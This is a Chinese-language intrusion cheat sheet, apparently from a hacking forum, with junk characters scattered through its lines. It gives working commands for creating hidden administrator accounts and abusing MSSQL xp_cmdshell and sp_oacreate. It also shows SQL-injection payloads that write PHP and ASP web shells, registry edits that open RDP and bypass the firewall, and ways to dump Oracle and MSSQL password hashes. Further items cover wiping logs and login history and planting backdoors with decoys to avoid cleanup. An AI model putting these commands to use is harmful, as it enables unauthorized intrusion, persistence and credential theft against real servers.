, B# e1 k' g% d8 W% v! D
1.net user administrator /passwordreq:no$ k9 D$ X& c0 l I' |9 s
这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了3 h, J+ B& v' M8 n" u" O) M8 t
2.比较巧妙的建克隆号的步骤
6 B' G5 p+ w3 {) ~' w+ J T先建一个user的用户# f: m* l+ x( I- C& `' N0 ]
然后导出注册表。然后在计算机管理里删掉
8 G; G# G" T+ L5 S在导入,在添加为管理员组2 P3 v3 u; p6 q8 m$ @
3.查radmin密码
2 K0 o+ Y9 Z( B+ l1 Mreg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg
8 F1 |* M% K9 W3 l! o7 `4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options]& N( M' B1 t3 e% h5 V
建立一个"services.exe"的项% y% G$ ]; \+ l( q4 U! J
再在其下面建立(字符串值)( ?5 C: P& Y' s9 k* t
键值为mu ma的全路径
; I4 j& x# B/ _1 j* p" @: o5.runas /user:guest cmd- P, ]5 ^3 k7 S G6 p9 ^* l$ @
测试用户权限!
) Z. N! v6 F% M6 } ] o! I w6.、 tlntadmn config sec = -ntlm exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'-- 其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?1 P9 S6 l9 G; S& b5 N" s4 \* X+ v
7.入侵后漏洞修补、痕迹清理,后门置放:
S+ z# D9 p9 |1 y基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门
5 [, \9 I0 o/ t3 X" f: [: p8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c
" Q( V7 m: m A5 L" ^' P7 |3 |1 b% s
for example) n! y ?3 P: _& ?0 v* D9 G
7 v; \8 Q' F8 qdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'
+ Z1 F+ ~! T7 X ? y" J; g2 M) V+ Q! ?) u9 g) _. x7 X
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'% Z. h% }/ V; P5 Q
( n6 A# D" E8 [2 w9:MSSQL SERVER 2005默认把xpcmdshell 给ON了 q# {8 i. [8 }
如果要启用的话就必须把他加到高级用户模式' M* H6 D8 p' @( G6 ^, g1 g, E
可以直接在注入点那里直接注入
, V/ M( G! j) \% {; f5 j2 oid=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
' i3 y% W+ a/ i7 W$ N' _然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
$ A1 v C# p/ x$ Z: @或者! I& f# p- B0 a' r6 a1 A, ?6 y
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'6 O' p- t- S# }4 m& z, p
来恢复cmdshell。% Z# L( j) ]+ B$ E
# ?# o. o1 H1 T4 [分析器: T1 _1 N! E" J; O) h7 u k7 h
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--# c/ D7 J5 Q+ N3 K
然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")* g) O, W6 d% j( o+ o1 L2 g; n
10.xp_cmdshell新的恢复办法
! `8 v& d) f5 k+ Nxp_cmdshell新的恢复办法
# A9 C2 h. Q+ {1 Y( f扩展储存过程被删除以后可以有很简单的办法恢复:) x4 R& u" `& r4 J' _4 W- n
删除
. V9 c+ r! ~5 u8 _+ X# ]$ t* Fdrop procedure sp_addextendedproc" B" v& x2 h; B, g$ o: {
drop procedure sp_oacreate7 ^& A6 m# ? f& H# E7 L
exec sp_dropextendedproc 'xp_cmdshell'$ V8 l v5 M# k
! x3 Y( S9 o. ~- ^
恢复9 b$ O1 v2 t% p! ~6 k4 W
dbcc addextendedproc ("sp_oacreate","odsole70.dll")/ C8 a* S* G+ g5 {3 n1 X! F- |8 y
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
7 ~4 W8 e! h) b
* x1 y4 r$ I( E2 E/ O" e) M2 j这样可以直接恢复,不用去管sp_addextendedproc是不是存在
; \7 u% A4 D0 c6 j0 J0 r1 I- _
1 U& I4 k7 y# r9 w, H; C K5 N$ g, C-----------------------------* j; W" M* Q# H
9 y5 d& h& R( S# n* N7 w
删除扩展存储过过程xp_cmdshell的语句:( t7 i% [1 a; _/ v
exec sp_dropextendedproc 'xp_cmdshell'
5 {7 j. x2 J1 R! x+ v- D+ T
* `/ p# `7 H5 B. N U8 X恢复cmdshell的sql语句& K) r) r' P+ G F
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll') X5 W$ t( ~0 o6 n, ^ N
- V' n/ Z) t: r5 C& W4 v! m5 R! ^( D" U- i- T3 u \
开启cmdshell的sql语句
1 @% W2 e0 {% r& v4 ?$ A- d& a1 F8 p% U+ d1 d' L e+ {& S
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'2 v4 t# X5 g) I1 O
2 z5 ?1 M7 Z0 ~+ C9 I, `5 e
判断存储扩展是否存在6 U8 b( b; O& K# G7 h6 S
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
! n d$ a5 p7 A) [; k3 S* h: O% K返回结果为1就ok% W/ J6 X9 j2 J, b3 n
! Y5 g1 _% n% z% [# O
恢复xp_cmdshell# w5 G; V( h2 D, P' Z9 z" D0 O
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'$ E5 D" f, \0 b; m0 C
返回结果为1就ok7 Y$ r# H/ u8 F- T: L, ?! |7 X
" D! Y; x+ L, d' @否则上传xplog7.0.dll
! g! I7 ?1 n5 }: f1 eexec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'1 S3 b- \$ ^, ?) i+ `" W
. F- d$ w( O/ ?7 Z" y堵上cmdshell的sql语句
. m- d! J U Q2 Z B* fsp_dropextendedproc "xp_cmdshel
4 P7 D7 X5 W3 S0 \$ V! s) o------------------------- @! {! W+ p9 ~ S5 o' G
清除3389的登录记录用一条系统自带的命令:
2 \5 C. ^0 k0 Q; ^: Breg delete "hkcu\Software\Microsoft\Terminal Server Client" /f
% I: ?4 K; H; e Z$ o- K5 c! U, M, j. x0 Z
然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件
( M! X( I! F7 k在 mysql里查看当前用户的权限 I; N, x, g* `4 x) d
show grants for ! P; f, O/ `- ?# \1 x
8 t/ p' x2 y( a& E以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。% {# I" l, j. ?1 }, Y4 l& E2 v
3 D2 v+ I, _5 ]. Y* r
% s5 }3 a# t6 L2 |5 D
Create USER 'itpro'@'%' IDENTIFIED BY '123';4 ~6 q ^7 a8 c; n w
; S( i' e; l8 J5 iGRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION* N8 c! B7 i! Q+ M. J
1 Z: W" ~6 E$ W: _3 n/ VMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 08 E& |$ ]5 h. a" \- T" H, x
6 o/ R3 I* r6 \' n1 G
MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;
, ?& T3 w6 Y/ Q9 q6 e
" \" v% E: L' N- B, E' X: q搞完事记得删除脚印哟。
3 l: c5 S' C, a w4 z0 n( N+ j' _1 W# L9 k# r7 R
Drop USER 'itpro'@'%';* }5 x9 D8 k N' S
- r- B! P3 K! l8 b0 O9 R
Drop DATABASE IF EXISTS `itpro` ;/ I# A, k: K c
; g! z. p- T+ y- ?/ `# I* \6 L6 `当前用户获取system权限; B7 A+ n3 C. ^0 e6 b" O
sc Create SuperCMD binPath= "cmd /K start" type= own type= interact" ^9 S4 b5 q+ K& v7 D) U) o2 t
sc start SuperCMD
$ @5 Z$ [4 n4 a- d r2 v# |程序代码
/ C1 q- M* @ o: D/ |- Z2 k0 O<SCRIPT LANGUAGE="VBScript">4 z4 w1 [6 Z) F7 d: n
set wsnetwork=CreateObject("WSCRIPT.NETWORK")
$ I- Y5 E( C6 ~/ E$ Pos="WinNT://"&wsnetwork.ComputerName' C" ^1 |' q, c# f/ F
Set ob=GetObject(os)
- R0 M j/ ]" f3 dSet oe=GetObject(os&"/Administrators,group")
9 a1 V+ @1 E9 YSet od=ob.Create("user","nosec")- s1 u" i6 Z* i% K. e! ~
od.SetPassword "123456abc!@#" p( z! k' |4 H
od.SetInfo
8 D3 A4 l9 Q$ l) x& I/ U, tSet of=GetObject(os&"/nosec",user)& U, |7 B* d+ m
oe.add os&"/nosec" D8 f0 ~ q/ J6 l) S u
</Script>1 \: j1 c& q9 S+ e, x
<script language=javascript>window.close();</script>& o ` K) @0 u' d1 R( s4 G2 Y
/ N$ Q0 J2 u8 S5 } v) \2 T8 W( A
( h8 }; w* Y! m" J3 u
- ]$ d3 j) R3 _& a+ V: C1 F" T, q
" v: L, d9 u F1 ?突破验证码限制入后台拿shell
* \& u+ q/ f& L5 x% |程序代码
- m% @/ e9 Z$ b- q( d% X9 D: q" RREGEDIT4
' }& O$ S6 ]" P/ T3 S[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security] 0 o1 y A8 ^0 d1 Z. V1 [' t8 s, W
"BlockXBM"=dword:00000000: @' R% {* V7 ^& f0 M
6 Q8 [3 R0 g5 S' p2 }保存为code.reg,导入注册表,重器IE
" i/ K' H8 y$ h$ `2 s+ R6 _3 d5 R- ~就可以了+ E# E$ W" ^' D9 m4 W
union写马
( d; k; H7 }! R1 b程序代码
4 S _; Q0 v, w; e9 ?www.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/*, p5 _( L, g& h, c n
7 E5 {- L: J- w, j3 C+ O
应用在dedecms注射漏洞上,无后台写马
) J9 m2 S! u5 T) a+ u9 ldedecms后台,无文件管理器,没有outfile权限的时候9 }& F: y& X& q% C
在插件管理-病毒扫描里# A' \( \# k$ d
写一句话进include/config_hand.php里( N# l# F9 h( Z1 N. o9 U
程序代码
7 B* ?" \. c: e: s5 }# Y' ?>';?><?php @eval($_POST[cmd]);?>( B- f1 u: H+ ^( ]9 S$ A) F
L/ h" ?# g. m- }5 K7 A8 M( }/ \
8 n7 Z$ g* G/ q7 }2 Q" U S
如上格式
( h3 f% \1 M$ i% u; H0 E- r. f% \6 ?3 X0 Q
oracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解4 V" {3 v: B3 Q
程序代码
, }' j+ L* ]: z2 Y. Lselect username,password from dba_users;4 _) C' A4 E N! j$ J& D
/ u8 w$ F( B) `/ M5 b
- _" \# \6 O# {$ i2 B1 m8 n1 u; Gmysql远程连接用户
) T& k3 O$ c2 \" c+ X. k7 i5 }程序代码/ B; {0 Q+ l. C. O3 z+ V
% O8 L% q: `+ s* W6 HCreate USER 'nosec'@'%' IDENTIFIED BY 'fuckme';
8 w" C0 d8 z! ]- OGRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION$ g/ n# t; r$ d/ q
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
* ]0 J" v# k, y/ y7 r8 k9 FMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;# O0 @* k3 B/ q5 y) F/ J$ F
3 `; Z9 h& R0 x4 M4 t, a* D
. o* M2 @8 k. f2 S/ t- l+ L
: e2 Y6 m9 B% @, P1 `$ q( t1 y! @+ k
2 o+ G; [/ V4 Y' Jecho y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0
# Q8 R" ~6 s4 ?: N; Y' |
& P. ]; B* j- z9 r- S% U3 V0 z1.查询终端端口. }- s$ @5 B1 \: h! R( K
% _/ ]2 Y* `8 Y- f
xp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber2 e0 ^' K x1 k3 C& a
1 Q! \) [$ N/ |9 @通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"1 x4 v$ p" F' ^* u4 ^; @/ _
type tsp.reg5 z! V5 F4 ^# \, b
! i9 C" M, B% B5 Z& W/ ?
2.开启XP&2003终端服务
" L, I V& M# A/ Y% h; F" n: h- r
0 J9 Y3 o' N- g( C8 _$ ^; H0 W b& h; v# l
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f& v. `# i7 A: z' @; h# l7 D
0 p `2 f6 _0 Q6 X3 R& p
g3 Z5 h0 x% \$ `( @REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f/ i6 ~5 e9 ] _' z: J3 f& |6 t* c
& a: i5 i; \/ }
3.更改终端端口为20008(0x4E28)6 C* b; E% U6 F1 ?9 F
; m) S% p" T* y+ ~6 UREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
* C3 D, D' y: N9 M* t2 c2 j" Z; y! l3 }
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f( J4 L5 r7 H6 Q0 R' m# ?
1 M! h$ z: @' V5 v6 s! ?
4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制- w8 J+ G. g% W) ]
6 W9 O( a6 _1 h) i! u; kREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f% v1 r0 Z+ d, l3 W) K: N: k
0 r5 v) T1 N: Q9 A" ^* u, N( U
+ c2 n1 l: P1 ]5 j1 Q3 x1 R+ o5.开启Win2000的终端,端口为3389(需重启)
" f O: N! p2 A# u' @, B* b
; {8 p( {* b: X1 |# @1 necho Windows Registry Editor Version 5.00 >2000.reg 1 x" R4 T2 m( Q2 g# |- X8 f' T9 K; p
echo. >>2000.reg
% h8 {; ^( `- z5 p9 J8 F' L& uecho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg
! j# q% j5 U8 N% ^3 J- ^0 necho "Enabled"="0" >>2000.reg
% Y1 N% W3 v9 O3 O1 ^9 y/ v8 techo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg
, q; [8 R+ o# h9 X4 |; B5 x) u& Mecho "ShutdownWithoutLogon"="0" >>2000.reg
9 U6 z# r1 x5 ]$ N/ f( ?. t+ }echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg 3 A- _) p' o9 Q4 D$ `. M3 {
echo "EnableAdminTSRemote"=dword:00000001 >>2000.reg . m/ ?" `6 o' o
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg
& X! l# [( L4 `: W9 A) t3 aecho "TSEnabled"=dword:00000001 >>2000.reg , r8 j0 l0 t3 |4 M3 O
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg
* i/ T8 E* n0 C o5 Oecho "Start"=dword:00000002 >>2000.reg ! W( K8 O( [2 i" [+ K$ x
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg
2 `+ M$ ^# Z! cecho "Start"=dword:00000002 >>2000.reg + o5 E* H" N. J% |* [! c9 I
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg & F/ F9 z: r4 j5 ^% \0 `
echo "Hotkey"="1" >>2000.reg
8 E6 U. }+ J! H4 N2 o6 _8 Iecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg 9 L/ ^4 U7 [1 J$ d6 X+ h2 j4 l2 k
echo "ortNumber"=dword:00000D3D >>2000.reg
6 \) D/ h. w: ~echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg
& y, i( }0 e2 q) A3 Q( h( Eecho "ortNumber"=dword:00000D3D >>2000.reg; [& ?/ t/ X+ d; C
, q' e* S* B) T2 d: r6 R
6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)" C% {- g u2 I# d; n9 g
( L& t1 \8 v* B4 d@ECHO OFF & cd/d %temp% & echo [version] > restart.inf v0 C u3 k$ q! z2 w- y) [0 X) @
(set inf=InstallHinfSection DefaultInstall)! }8 f8 L/ h; m9 ~$ V8 v" L! ?
echo signature=$chicago$ >> restart.inf( [; p) F, {9 X" x3 j5 s. D2 `
echo [defaultinstall] >> restart.inf
- u9 T+ j. S: s% Y2 \% e0 w1 nrundll32 setupapi,%inf% 1 %temp%\restart.inf( b f% A' J* N
6 h4 B3 B2 z J$ @" P
5 g: F8 H5 L$ [* o; _$ n4 D- A
7.禁用TCP/IP端口筛选 (需重启)
& u4 Z% }) k$ n* s) X- K
' F$ w+ T9 N4 H% z& uREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f% ~% b# s' _& ^- }* O
5 }5 b' S& P5 ?/ ]- X7 o8.终端超出最大连接数时可用下面的命令来连接! T. O% I4 W' T2 }7 T
5 Y1 t4 q+ J" Y0 b1 U6 S
mstsc /v:ip:3389 /console
Y9 t7 Y# a( K- N$ y1 V+ I) l% w: S2 e* E* `
9.调整NTFS分区权限
# u- t1 z$ T; x5 Q' e8 r- }+ q" F/ j8 t+ u7 W1 P6 T8 f- E
cacls c: /e /t /g everyone:F (所有人对c盘都有一切权利) E: Y0 X( Y0 P! t" h: k
2 P' [9 s8 u5 K3 L) O
cacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件)3 e: E. F+ Q2 H$ r9 L, k
9 T+ t% _+ O4 s! i
------------------------------------------------------
% d# F* L' X9 @6 m3389.vbs
9 y5 [, c6 s2 v) @On Error Resume Next; {1 g+ h# W1 i- N8 p$ I* i
const HKEY_LOCAL_MACHINE = &H80000002
+ R% d2 B3 Z8 M7 ]strComputer = "."
n! D, r2 _/ E+ U( S+ eSet StdOut = WScript.StdOut& c$ l% F& ^1 V0 z& `& p- G6 |
Set oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_& y& O9 d; n5 u- w
strComputer & "\root\default:StdRegProv")
@0 V2 D# G* @2 e% H8 |. HstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"8 }6 U" T- m. Q2 F& w; ]
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
" O; _% j/ e; i4 d ZstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"5 c' f7 Y3 X! h" D0 r
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath8 Z8 t/ b0 i* ^
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
7 l c. z4 f2 ? o3 w* b0 BstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
2 V+ v& Q4 \- T& q: j+ }( cstrValueName = "fDenyTSConnections"
" f6 ?8 P( j8 `7 o% H- [dwValue = 0
( X7 s& y7 V4 C) O5 r0 j* p( ooreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
" E7 i8 E6 ?% x! l2 {/ I, Q/ OstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
* ?( J. \' q5 |5 FstrValueName = "ortNumber"
- s9 O1 O( A6 }) FdwValue = 33892 ~( C, v0 D5 o2 |7 s* D7 ]) l7 T
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue( B* c# @& k9 u8 f
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"3 {1 O4 B/ F8 }! k& d) n. K2 k, a
strValueName = "ortNumber"7 q; U4 |1 f4 S- u
dwValue = 3389, V ?/ O' y+ ]; l: |% F/ z
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
% }% J4 E o$ Z0 ASet R = CreateObject("WScript.Shell") ' _4 G) W9 \) s3 J0 d8 ^# h
R.run("Shutdown.exe -f -r -t 0")
% Y. }/ V- M' b
! d" t& U; u3 L5 O7 r' x4 n7 j; P删除awgina.dll的注册表键值+ ?$ e ~, P/ z
程序代码2 C' W4 n& D+ ^3 U# |8 @7 _2 F
' r# f! r2 T$ }0 r$ E2 `6 D- treg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f
7 X- {' f4 k' S+ W
' c; j" ?; r. q, @# ?2 c( F; Y" E4 V) t' a) Y, n$ K
2 Y- X6 N5 j9 E' n( T+ e; \/ M2 Y4 j/ i) q* x
程序代码& M( J; g+ w5 H) F" n
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash
- e# a4 u R$ p% O! P _. U7 f6 B. D/ T3 m
设置为1,关闭LM Hash: V3 m6 N+ ^ z! F
, Y; r1 w% c' Z! c
数据库安全:入侵Oracle数据库常用操作命令) i% x0 b, } v
最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。
' j) E. v# U- D8 Q1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。' |; J% w9 X6 t9 d9 a0 z
2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;
0 q7 H( w2 N' p5 s H3、SQL>connect / as sysdba ;(as sysoper)或1 d9 H% u+ i, a8 w
connect internal/oracle AS SYSDBA ;(scott/tiger)
5 ^3 U' m3 F. ?conn sys/change_on_install as sysdba;
m1 ]+ d' k3 ^) u1 l( N4、SQL>startup; 启动数据库实例9 x" j' U' O3 T
5、查看当前的所有数据库: select * from v$database; ~4 z, w9 t2 a9 o% D& V4 m5 a& R
select name from v$database;
" M/ y; r' k* s0 @; j, L6、desc v$databases; 查看数据库结构字段
1 W/ m. a, R9 g5 A6 ~( Z7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:5 Q: ]9 q! k8 b- ~
SQL>select * from V_$PWFILE_USERS;
2 u ^/ X* Z+ v4 F3 f# Z" dShow user;查看当前数据库连接用户
+ C6 [* c4 n+ [. u' e8、进入test数据库:database test;
; X: I2 b0 t3 y$ O% ^9、查看所有的数据库实例:select * from v$instance;
/ D/ B# g6 W1 i7 m- W, ^如:ora9i
' u: K+ k& R; Y$ p10、查看当前库的所有数据表:% F) V& N$ b) H& I" Z" C
SQL> select TABLE_NAME from all_tables;6 \5 s- g0 V+ N- I% F
select * from all_tables;
" y q8 \' j4 t1 V3 ^% H2 GSQL> select table_name from all_tables where table_name like '%u%';& @( w* k+ @. m4 g ~
TABLE_NAME+ r+ a: k# g4 }
------------------------------# n& `4 c& j: j8 s
_default_auditing_options_
" l# L* A2 ]# M8 t3 v4 K z11、查看表结构:desc all_tables;
9 R. m: G; e; d) k$ K/ A, x) }12、显示CQI.T_BBS_XUSER的所有字段结构:3 P: y" S. c# s
desc CQI.T_BBS_XUSER;3 U) j( g' m% Z7 \0 F
13、获得CQI.T_BBS_XUSER表中的记录:, t' h; r$ ]2 |8 p
select * from CQI.T_BBS_XUSER;0 H b) H+ o N$ z8 g: z
14、增加数据库用户:(test11/test)
! X! W3 ?9 ^0 g3 P) {8 ecreate user test11 identified by test default tablespace users Temporary TABLESPACE Temp;: z; ^8 w% c9 Z- n
15、用户授权:
3 g; p& T0 N; T' Tgrant connect,resource,dba to test11;
; K" \. k9 i9 W# o* S# y. G; kgrant sysdba to test11;
1 Q) \, z% J! f2 scommit;; x/ ?7 R; z* w2 c6 p) c: b
16、更改数据库用户的密码:(将sys与system的密码改为test.)) A; p- ~" |& F+ U
alter user sys indentified by test;0 V7 \; h8 }) K& `
alter user system indentified by test;
" J4 _7 ?: V2 m" r' e7 I2 L: U& c
applicationContext-util.xml
1 c+ `7 k- B% Z iapplicationContext.xml
$ R( z% B8 Y* astruts-config.xml
- H: T2 \) F9 m5 {6 g7 ]web.xml+ E) b( I0 a7 t/ i" b: O& q
server.xml
4 e/ z z3 [1 i. Ftomcat-users.xml& m! J+ f' ? b; ]1 f
hibernate.cfg.xml
0 B. r3 }3 t- f% ^- Edatabase_pool_config.xml4 X4 R& E: U: W* Y4 J# o0 A
+ A( \4 q6 q1 p/ m, { z" o% o$ W' J; o r1 M
\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置1 G7 h) ]9 d( v0 m9 B
\WEB-INF\server.xml 类似http.conf+mysql.ini+php.ini) ^. ~+ w4 B1 F# P
\WEB-INF\struts-config.xml 文件目录结构
7 o K; i; z) I0 m8 X1 d( I j& M1 n0 C1 _
spring.properties 里边包含hibernate.cfg.xml的名称
# f' v4 b' X' f8 U* U1 P
% z, i; T; G: ?: l9 `# F! W I+ s7 F. h4 k/ d* r8 Y( W* B$ C
C:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml( t6 a; d/ b: {% t% g) A
0 G: Q1 L. @' M+ D如果都找不到 那就看看class文件吧。。
' i2 N4 W; b, b, [" L! Y+ W
: f' h, `' R& u1 n6 v测试1:
' F3 X" f5 g4 oSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
# t* g0 s: `1 t
4 F- m; t: [" [& W4 `' b5 F$ Y5 x3 e测试2:
5 T# h R) b& a) u$ J
% w" {& D# V% w0 M( m6 e9 z3 ]create table dirs(paths varchar(100),paths1 varchar(100), id int)4 [4 O1 h, X3 H+ N! D$ ~3 g+ p
# g/ E# N: n' D4 E( t+ }
delete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--
. p( {& E3 z4 h ~+ ? ^0 }7 P6 [6 F% s9 |. P/ L9 f
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1 _* Q. w. D+ q
# U, g" Y7 U4 u* {. E- l3 ]/ ?查看虚拟机中的共享文件:( _! X2 q' W: j# K; l7 F3 w
在虚拟机中的cmd中执行; O) \7 P2 R1 K% C
\\.host\Shared Folders
. r+ V% F+ V% J$ t2 k% t' s0 Z
4 I: ~ w+ [* ]' {% @! M) g, scmdshell下找终端的技巧
% Y1 o9 K: N8 U+ H: U找终端: + P# O2 A7 r8 u. w
第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值! % Z& z0 l: j. {+ N/ V7 C/ u. A
而终端所对应的服务名为:TermService
- H" Y7 |# b3 M& \/ h2 |第二步:用netstat -ano命令,列出所有端口对应的PID值!
' c+ l1 m% N) @2 l' R 找到PID值所对应的端口
& q3 x- g0 H2 p, H4 A/ \6 u" k" N7 \, @7 t* e$ d
查询sql server 2005中的密码hash
/ Q4 \/ b3 M9 s% R7 V# NSELECT password_hash FROM sys.sql_logins where name='sa'0 m: J( R7 s8 K; F
SELECT '<%execute request("a")%>' into [a] in 'c:\x.asp;a.xls' 'excel 8.0;' from a
' T3 h& ]1 W& I" u, u* T8 C. X: {access中导出shell
3 _9 ~) h7 [' p- X+ X0 k8 Z& E
中文版本操作系统中针对mysql添加用户完整代码:9 V" v- g, Q8 O2 g/ E% a4 j- i
' e7 D7 n+ @+ h# ]2 Puse test;
